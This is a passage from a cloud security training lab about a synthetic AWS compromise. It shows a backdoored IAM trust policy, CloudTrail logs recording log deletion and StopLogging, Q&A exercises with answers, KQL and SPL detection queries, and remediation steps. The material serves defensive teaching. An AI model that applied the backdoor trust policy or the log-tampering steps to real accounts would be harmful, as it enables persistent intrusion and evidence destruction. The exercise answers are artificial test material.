MITRE ATT&CK mapping: T1053.007 — Scheduled Task/Job: Serverless Execution (Cloud).


4.3 Cross-Account Role Trust Abuse

The threat actor modified an IAM role's trust policy to allow access from an external AWS account.

// SYNTHETIC CloudTrail — Cross-account trust modification
{
    "eventTime": "2026-03-20T09:40:00Z",
    "eventSource": "iam.amazonaws.com",
    "eventName": "UpdateAssumeRolePolicy",
    "sourceIPAddress": "192.0.2.50",
    "userIdentity": {
        "type": "AssumedRole",
        "arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
    },
    "requestParameters": {
        "roleName": "admin-lambda-execution",
        "policyDocument": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"lambda.amazonaws.com\"},\"Action\":\"sts:AssumeRole\"},{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::123456789012:root\"},\"Action\":\"sts:AssumeRole\"},{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999888777666:root\"},\"Action\":\"sts:AssumeRole\"}]}"
    }
}

Updated trust policy (formatted):

// SYNTHETIC — Modified trust policy for admin-lambda-execution
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "lambda.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        },
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::123456789012:root"
            },
            "Action": "sts:AssumeRole"
        },
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::999888777666:root"
            },
            "Action": "sts:AssumeRole"                         // BACKDOOR: External account access
        }
    ]
}

Cross-Account Backdoor

The threat actor added a third trust policy statement allowing AWS account 999888777666 (SYNTHETIC — attacker-controlled) to assume the admin-lambda-execution role. This provides:

  • Persistent access even if all access keys in account 123456789012 are rotated
  • External entry point from a completely separate AWS account
  • Difficult to detect — blends in with the existing trust policy statements
  • Full admin access — the role has AdministratorAccess attached

MITRE ATT&CK mapping: T1098.003 — Account Manipulation: Additional Cloud Roles.


4.4 CloudTrail Evasion Techniques

Educational Content

The following techniques are documented for detection and defense purposes only. Understanding attacker evasion methods is essential for building resilient detection pipelines.

The threat actor attempted to reduce detection visibility.

// SYNTHETIC CloudTrail — Attacker disabling logging
{
    "Records": [
        {
            "eventTime": "2026-03-20T09:42:00Z",
            "eventSource": "cloudtrail.amazonaws.com",
            "eventName": "StopLogging",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "AssumedRole",
                "arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
            },
            "requestParameters": {
                "name": "arn:aws:cloudtrail:us-east-1:123456789012:trail/acme-management-trail"
            },
            "responseElements": null
        },
        {
            "eventTime": "2026-03-20T09:42:15Z",
            "eventSource": "s3.amazonaws.com",
            "eventName": "DeleteObjects",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "AssumedRole",
                "arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
            },
            "requestParameters": {
                "bucketName": "acme-cloudtrail-logs-123456789012",
                "delete": {
                    "objects": [
                        {"key": "AWSLogs/123456789012/CloudTrail/us-east-1/2026/03/20/09_15.json.gz"},
                        {"key": "AWSLogs/123456789012/CloudTrail/us-east-1/2026/03/20/09_16.json.gz"},
                        {"key": "AWSLogs/123456789012/CloudTrail/us-east-1/2026/03/20/09_22.json.gz"},
                        {"key": "AWSLogs/123456789012/CloudTrail/us-east-1/2026/03/20/09_23.json.gz"}
                    ]
                }
            }
        },
        {
            "eventTime": "2026-03-20T09:43:00Z",
            "eventSource": "ec2.amazonaws.com",
            "eventName": "DeleteFlowLogs",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "AssumedRole",
                "arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
            },
            "requestParameters": {
                "DeleteFlowLogsRequest": {
                    "FlowLogId": ["fl-0000000000000001"]
                }
            }
        }
    ]
}

Evasion Techniques Observed

Time Technique ATT&CK ID Description
09:42:00 StopLogging T1562.008 Disabled CloudTrail to stop recording API calls
09:42:15 DeleteObjects T1070.002 Deleted CloudTrail log files covering the attack window
09:43:00 DeleteFlowLogs T1562.008 Deleted VPC Flow Logs to remove network evidence

Defensive countermeasures:

  • Enable CloudTrail log file integrity validation (digest files)
  • Use S3 Object Lock (WORM) on CloudTrail buckets to prevent log deletion
  • Send logs to a separate AWS account (log archive account) with restricted access
  • Create CloudWatch Alarms for StopLogging and DeleteTrail events
  • Enable AWS Organizations SCPs to deny cloudtrail:StopLogging for all users

4.5 Analysis Questions — Part 4

Question 8: How many persistence mechanisms did the threat actor establish? List each one and explain why it survives credential rotation.

Answer

Four persistence mechanisms:

# Mechanism Survives Credential Rotation? Why?
1 IAM user svc-health-monitor with AdministratorAccess + access keys Partially Has its own access keys, but can be found via IAM audit. Survives rotation of the original dev-deploy-svc keys.
2 Lambda function acme-health-check-prod with admin role Yes Runs with its own IAM role (admin-lambda-execution), independent of any user credentials. Triggered automatically by EventBridge.
3 EventBridge rule acme-health-check-schedule (15-min schedule) Yes Serverless — no credentials needed. Automatically triggers the Lambda every 15 minutes.
4 Cross-account trust on admin-lambda-execution role (account 999888777666) Yes External account can assume the admin role at any time. Completely independent of the victim account's IAM users and access keys.

Even if the security team rotates all access keys and deletes the backdoor IAM user, mechanisms 2, 3, and 4 remain active.

Question 9: The attacker attempted CloudTrail evasion. What evidence would still exist despite the evasion attempts?

Answer

Despite the evasion attempts, the following evidence would still exist:

  1. The StopLogging and DeleteObjects events themselves — These events were logged by CloudTrail before logging was stopped (CloudTrail logs its own stopping event)
  2. CloudTrail digest files — If integrity validation was enabled, digest files in a separate S3 path verify log completeness
  3. CloudWatch Logs — If CloudTrail was configured to send to CloudWatch Logs, copies exist outside S3
  4. AWS Config records — Resource configuration changes (IAM user creation, role policy changes) are tracked independently
  5. S3 access logs — If enabled on the CloudTrail bucket, the DeleteObjects calls are logged separately
  6. GuardDuty findings — Anomalous API calls, credential usage from unusual IPs, and CloudTrail disruption generate findings
  7. IAM Access Analyzer — Would flag the cross-account trust policy as external access
  8. VPC Flow Logs in CloudWatch — If flow logs were also streamed to CloudWatch (not just S3), the delete only removed the Flow Log resource, not existing log data

Part 5: Detection & Response

5.1 KQL Detection Queries

The following KQL queries detect each phase of the attack in Microsoft Sentinel (ingesting CloudTrail via data connector).

// Detect IAM user API calls from previously unseen IP addresses
// Data source: AWSCloudTrail

let known_ips = dynamic(["10.0.0.0/8", "172.16.0.0/12"]);
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where UserIdentityType == "IAMUser"
| where SourceIpAddress !startswith "10." and SourceIpAddress !startswith "172.16."
| where EventSource in ("iam.amazonaws.com", "s3.amazonaws.com", "sts.amazonaws.com")
| summarize
    EventCount = count(),
    UniqueAPIs = dcount(EventName),
    APIs = make_set(EventName),
    FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated)
  by SourceIpAddress, UserIdentityUserName, UserIdentityAccessKeyId
| where EventCount > 5 and UniqueAPIs > 3
| sort by EventCount desc
// Detect AssumeRole to admin roles followed by IAM modifications
// Data source: AWSCloudTrail

let escalation_window = 15m;
let assume_events = AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventName == "AssumeRole"
| where RequestParameters contains "admin"
| project
    AssumeTime = TimeGenerated,
    SourceIP = SourceIpAddress,
    AssumedRole = tostring(parse_json(RequestParameters).roleArn),
    OriginalUser = UserIdentityArn,
    SessionName = tostring(parse_json(RequestParameters).roleSessionName);
let iam_modifications = AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventSource == "iam.amazonaws.com"
| where EventName in ("CreateUser", "AttachUserPolicy", "CreateAccessKey",
                      "PutUserPolicy", "CreateRole", "UpdateAssumeRolePolicy")
| project
    ModifyTime = TimeGenerated,
    ModifySourceIP = SourceIpAddress,
    ModifyAction = EventName,
    ModifyTarget = tostring(parse_json(RequestParameters).userName),
    ModifyIdentity = UserIdentityArn;
assume_events
| join kind=inner (iam_modifications) on $left.SourceIP == $right.ModifySourceIP
| where ModifyTime between (AssumeTime .. (AssumeTime + escalation_window))
| project AssumeTime, ModifyTime, SourceIP, OriginalUser, AssumedRole,
          ModifyAction, ModifyTarget
// Detect IMDS credential theft from EKS pods
// Data source: AWSCloudTrail

AWSCloudTrail
| where TimeGenerated > ago(24h)
| where UserIdentityType == "AssumedRole"
| where UserIdentityArn contains "eks-node-role"
| where EventName in ("ListBuckets", "GetObject", "ListUsers", "ListRoles",
                      "CreateUser", "CreateAccessKey", "AssumeRole")
| where SourceIpAddress startswith "10."  // Calls from within VPC
| summarize
    EventCount = count(),
    APIs = make_set(EventName),
    FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated)
  by SourceIpAddress, UserIdentityArn
| where EventCount > 3
// Detect Lambda function creation with admin roles
// Data source: AWSCloudTrail

AWSCloudTrail
| where TimeGenerated > ago(7d)
| where EventName == "CreateFunction20150331"
| extend FunctionRole = tostring(parse_json(RequestParameters).role)
| extend FunctionName = tostring(parse_json(RequestParameters).functionName)
| extend FunctionEnv = tostring(parse_json(RequestParameters).environment)
| where FunctionRole contains "admin" or FunctionRole contains "AdministratorAccess"
| project
    TimeGenerated,
    SourceIpAddress,
    UserIdentityArn,
    FunctionName,
    FunctionRole,
    FunctionEnv
// Detect CloudTrail disruption events — HIGH FIDELITY ALERT
// Data source: AWSCloudTrail

AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventName in ("StopLogging", "DeleteTrail", "UpdateTrail",
                      "PutEventSelectors")
| project
    TimeGenerated,
    EventName,
    SourceIpAddress,
    UserIdentityArn,
    UserIdentityType,
    RequestParameters,
    ErrorCode
| extend Severity = case(
    EventName == "StopLogging", "CRITICAL",
    EventName == "DeleteTrail", "CRITICAL",
    "HIGH")
// Detect IAM role trust policy modifications adding external accounts
// Data source: AWSCloudTrail

AWSCloudTrail
| where TimeGenerated > ago(7d)
| where EventName == "UpdateAssumeRolePolicy"
| extend PolicyDoc = tostring(parse_json(RequestParameters).policyDocument)
| extend RoleName = tostring(parse_json(RequestParameters).roleName)
| where PolicyDoc matches regex @"arn:aws:iam::\d{12}:root"
| extend ExternalAccounts = extract_all(@"arn:aws:iam::(\d{12}):root", PolicyDoc)
| mv-expand ExternalAccount = ExternalAccounts
| where tostring(ExternalAccount) != "123456789012"  // Filter out own account
| project
    TimeGenerated,
    SourceIpAddress,
    UserIdentityArn,
    RoleName,
    ExternalAccount

5.2 SPL Detection Queries

The following SPL queries detect the same attack phases in Splunk (ingesting CloudTrail via AWS Add-on).

index=aws sourcetype=aws:cloudtrail
userIdentity.type=IAMUser
eventSource IN ("iam.amazonaws.com", "s3.amazonaws.com", "sts.amazonaws.com")
NOT sourceIPAddress="10.*" NOT sourceIPAddress="172.16.*"
| stats count as event_count,
        dc(eventName) as unique_apis,
        values(eventName) as api_calls,
        earliest(_time) as first_seen,
        latest(_time) as last_seen
  by sourceIPAddress, userIdentity.userName, userIdentity.accessKeyId
| where event_count > 5 AND unique_apis > 3
| convert ctime(first_seen) ctime(last_seen)
| sort - event_count
index=aws sourcetype=aws:cloudtrail
(eventName=AssumeRole requestParameters.roleArn="*admin*")
OR (eventSource="iam.amazonaws.com"
    eventName IN ("CreateUser", "AttachUserPolicy", "CreateAccessKey",
                  "PutUserPolicy", "CreateRole", "UpdateAssumeRolePolicy"))
| eval phase=case(
    eventName="AssumeRole", "1_escalation",
    eventName="CreateUser", "2_persistence",
    eventName="AttachUserPolicy", "3_policy_attach",
    eventName="CreateAccessKey", "4_credential_gen",
    1=1, "5_other")
| stats earliest(_time) as first_seen,
        latest(_time) as last_seen,
        values(eventName) as actions,
        values(phase) as attack_phases,
        dc(eventName) as unique_actions
  by sourceIPAddress, userIdentity.arn
| where unique_actions >= 3
| convert ctime(first_seen) ctime(last_seen)
index=aws sourcetype=aws:cloudtrail
eventName IN ("StopLogging", "DeleteTrail", "UpdateTrail",
              "PutEventSelectors", "DeleteFlowLogs")
| eval severity=case(
    eventName IN ("StopLogging", "DeleteTrail"), "CRITICAL",
    eventName="DeleteFlowLogs", "HIGH",
    1=1, "MEDIUM")
| table _time, eventName, sourceIPAddress, userIdentity.arn,
        requestParameters.name, severity
| sort _time
index=aws sourcetype=aws:cloudtrail
eventName="CreateFunction20150331"
| spath path=requestParameters.role output=function_role
| spath path=requestParameters.functionName output=function_name
| spath path=requestParameters.environment.variables output=env_vars
| where like(function_role, "%admin%") OR like(function_role, "%AdministratorAccess%")
| table _time, sourceIPAddress, userIdentity.arn, function_name,
        function_role, env_vars

5.3 Full MITRE ATT&CK Mapping

Tactic Technique ID Technique Name Evidence
Initial Access T1552.001 Unsecured Credentials: Credentials in Files Hardcoded AWS access keys in public repository
Initial Access T1078.004 Valid Accounts: Cloud Accounts Compromised dev-deploy-svc credentials used for API access
Discovery T1580 Cloud Infrastructure Discovery ListBuckets, ListClusters API calls from 192.0.2.50
Discovery T1087.004 Account Discovery: Cloud Account ListUsers, ListRoles IAM enumeration
Discovery T1069.003 Permission Groups Discovery: Cloud Groups ListAttachedUserPolicies, ListAttachedRolePolicies
Privilege Escalation T1078.004 Valid Accounts: Cloud Accounts AssumeRole to admin-lambda-execution
Privilege Escalation T1548 Abuse Elevation Control Mechanism iam:PassRole wildcard enabling role assumption to any service
Persistence T1136.003 Create Account: Cloud Account Created IAM user svc-health-monitor with admin access
Persistence T1098.003 Account Manipulation: Additional Cloud Roles Added external account 999888777666 to role trust policy
Persistence T1053.007 Scheduled Task/Job: Serverless Execution EventBridge rule triggering Lambda backdoor every 15 minutes
Lateral Movement T1021.007 Remote Services: Cloud Services Pivoted from IAM to EKS via admin role
Lateral Movement T1611 Escape to Host Container escape via privileged pod + Docker socket
Credential Access T1552.005 Unsecured Credentials: Cloud Instance Metadata API IMDS credential theft from EKS node
Credential Access T1528 Steal Application Access Token Kubernetes service account token harvesting
Collection T1530 Data from Cloud Storage S3 bucket enumeration and object listing
Defense Evasion T1562.008 Impair Defenses: Disable or Modify Cloud Logs StopLogging, DeleteFlowLogs
Defense Evasion T1070.002 Indicator Removal: Clear Cloud Logs Deleted CloudTrail log files from S3
Defense Evasion T1036.005 Masquerading: Match Legitimate Name Lambda named acme-health-check-prod, user named svc-health-monitor
Exfiltration T1537 Transfer Data to Cloud Account Cross-account role trust enables data movement to attacker account

5.4 Full Attack Timeline

2026-03-19 22:14:00  Developer commits AWS credentials to public repository
2026-03-20 09:15:22  Threat actor uses leaked keys — ListBuckets (recon begins)
2026-03-20 09:15:45  GetBucketAcl — discovers public bucket misconfiguration
2026-03-20 09:16:03  ListUsers — enumerates IAM users
2026-03-20 09:16:18  ListRoles — discovers admin-lambda-execution role
2026-03-20 09:16:30  ListAttachedUserPolicies — reviews own permissions
2026-03-20 09:22:15  AssumeRole → admin-lambda-execution (privilege escalation)
2026-03-20 09:23:01  CreateUser → svc-health-monitor (persistence)
2026-03-20 09:23:18  AttachUserPolicy → AdministratorAccess (admin backdoor)
2026-03-20 09:23:35  CreateAccessKey → persistent access keys generated
2026-03-20 09:30:00  EKS cluster enumeration — discovers acme-prod-cluster
2026-03-20 09:32:00  Identifies privileged pod data-processor-7b8c9d
2026-03-20 09:33:00  Container escape via host filesystem mount + Docker socket
2026-03-20 09:34:00  IMDS credential theft — obtains EKS node role credentials
2026-03-20 09:35:00  CreateFunction → Lambda backdoor (acme-health-check-prod)
2026-03-20 09:36:30  PutRule → EventBridge schedule (15-minute beacon)
2026-03-20 09:40:00  UpdateAssumeRolePolicy → cross-account trust backdoor
2026-03-20 09:42:00  StopLogging → CloudTrail disabled (evasion)
2026-03-20 09:42:15  DeleteObjects → CloudTrail logs deleted (anti-forensics)
2026-03-20 09:43:00  DeleteFlowLogs → VPC Flow Logs removed (evasion)

5.5 Analysis Questions — Part 5

Question 10: Using the KQL or SPL queries provided, what would be the single highest-fidelity detection rule for this attack? Why?

Answer

The CloudTrail Tampering detection (StopLogging/DeleteTrail events) is the highest-fidelity alert because:

  1. Near-zero false positive rate — There is almost never a legitimate reason to stop CloudTrail logging in a production environment
  2. Self-documenting — The StopLogging event is recorded by CloudTrail even as it is being disabled (the event that stops logging is itself logged)
  3. Universal relevance — Any attacker attempting to cover tracks must interact with CloudTrail, making this a catch-all detection
  4. Actionable — This should trigger an immediate P1 incident response with automatic re-enabling of logging

This maps to the "Assume Breach" principle — detect the evasion, not just the attack.

Question 11: Design a detection strategy that would catch this attack at the earliest possible stage. What specific CloudTrail event would trigger the first alert?

Answer

The earliest detection point is the credential exposure stage:

  1. First alert trigger: ListBuckets or ListUsers API call from IP 192.0.2.50 at 09:15:22Z — an IP address never previously associated with the dev-deploy-svc user
  2. Detection rule: Baseline legitimate source IPs for each IAM user/access key. Alert when API calls originate from a new source IP, especially for service accounts that should only operate from known CIDR ranges (e.g., CI/CD pipelines, specific VPCs)
  3. Complementary controls:
    • Pre-attack: GitHub Secret Scanning or truffleHog to detect the credential exposure before the attacker finds it (would have caught this ~11 hours before exploitation)
    • IAM Access Key age alerts — The key was created for CI/CD but used interactively
    • IP-based IAM conditions — Add aws:SourceIp conditions to the IAM policy to restrict API calls to known IP ranges
    • GuardDutyUnauthorizedAccess:IAMUser/InstanceCredentialExfiltration would flag the unusual source IP

Question 12: What remediation steps should the IR team take, in priority order, to fully contain this compromise?

Answer

Immediate containment (first 30 minutes):

  1. Disable compromised access keys: Deactivate AKIA0000SYNTHETIC01 (dev-deploy-svc) and AKIA0000SYNTHETIC03 (svc-health-monitor)
  2. Re-enable CloudTrail: Start logging immediately to regain visibility
  3. Delete backdoor IAM user: Remove svc-health-monitor and all attached policies/keys
  4. Remove cross-account trust: Update admin-lambda-execution trust policy to remove account 999888777666
  5. Delete Lambda backdoor: Remove acme-health-check-prod function and acme-health-check-schedule EventBridge rule

Short-term remediation (first 24 hours):

  1. Rotate all credentials: All IAM access keys, EKS kubeconfig, container registry tokens
  2. Fix S3 bucket ACL: Enable S3 Block Public Access at account level, remove AllUsers/AuthenticatedUsers grants
  3. Fix pod security: Remove privileged settings, implement Pod Security Standards (Restricted)
  4. Restrict IAM policy: Remove iam:PassRole wildcard, scope sts:AssumeRole to specific roles, apply least privilege
  5. Enable IMDSv2: Require session tokens for IMDS on all EC2/EKS nodes

Long-term hardening:

  1. Enable SCPs to prevent CloudTrail disruption account-wide
  2. Implement S3 Object Lock on CloudTrail buckets
  3. Deploy secret scanning in CI/CD pipelines
  4. Enable GuardDuty and IAM Access Analyzer
  5. Implement Kubernetes Pod Security Admission controller
  6. Conduct IAM access review across all roles and policies

Benchmark Tie-In

Control Title Relevance
Nexus SecOps-170 Cloud Security Architecture VPC, IAM, and container security configuration
Nexus SecOps-171 Cloud IAM Governance Least-privilege IAM policies, access key management
Nexus SecOps-172 Cloud Logging and Monitoring CloudTrail, GuardDuty, VPC Flow Logs
Nexus SecOps-175 Container Security Pod security contexts, RBAC, image scanning
Nexus SecOps-061 Incident Detection Cloud-native detection queries and alert rules
Nexus SecOps-065 Incident Containment Cloud credential rotation and resource isolation

Key Takeaways

  1. Credential exposure is the #1 cloud risk — A single leaked access key can lead to full account compromise in minutes. Implement automated secret scanning in all repositories.

  2. IAM is the perimeter in the cloud — Overpermissive policies (especially iam:PassRole with wildcards and broad sts:AssumeRole) create escalation paths that attackers actively seek.

  3. Container security requires defense in depth — Privileged containers, mounted host filesystems, and Docker sockets each provide independent escape paths. Pod Security Standards (Restricted profile) prevent all of these.

  4. Cloud persistence is multi-layered — Attackers establish redundant persistence (IAM users, Lambda functions, cross-account trusts, scheduled triggers) specifically to survive partial remediation.

  5. Log integrity is non-negotiable — CloudTrail disruption is the attacker's first priority after gaining admin access. Immutable log storage (S3 Object Lock, separate log archive account) and tamper-detection alerts are essential.

  6. Detection must span all layers — Effective cloud security requires monitoring IAM activity, network flows, container orchestration events, and serverless execution simultaneously.


Further Reading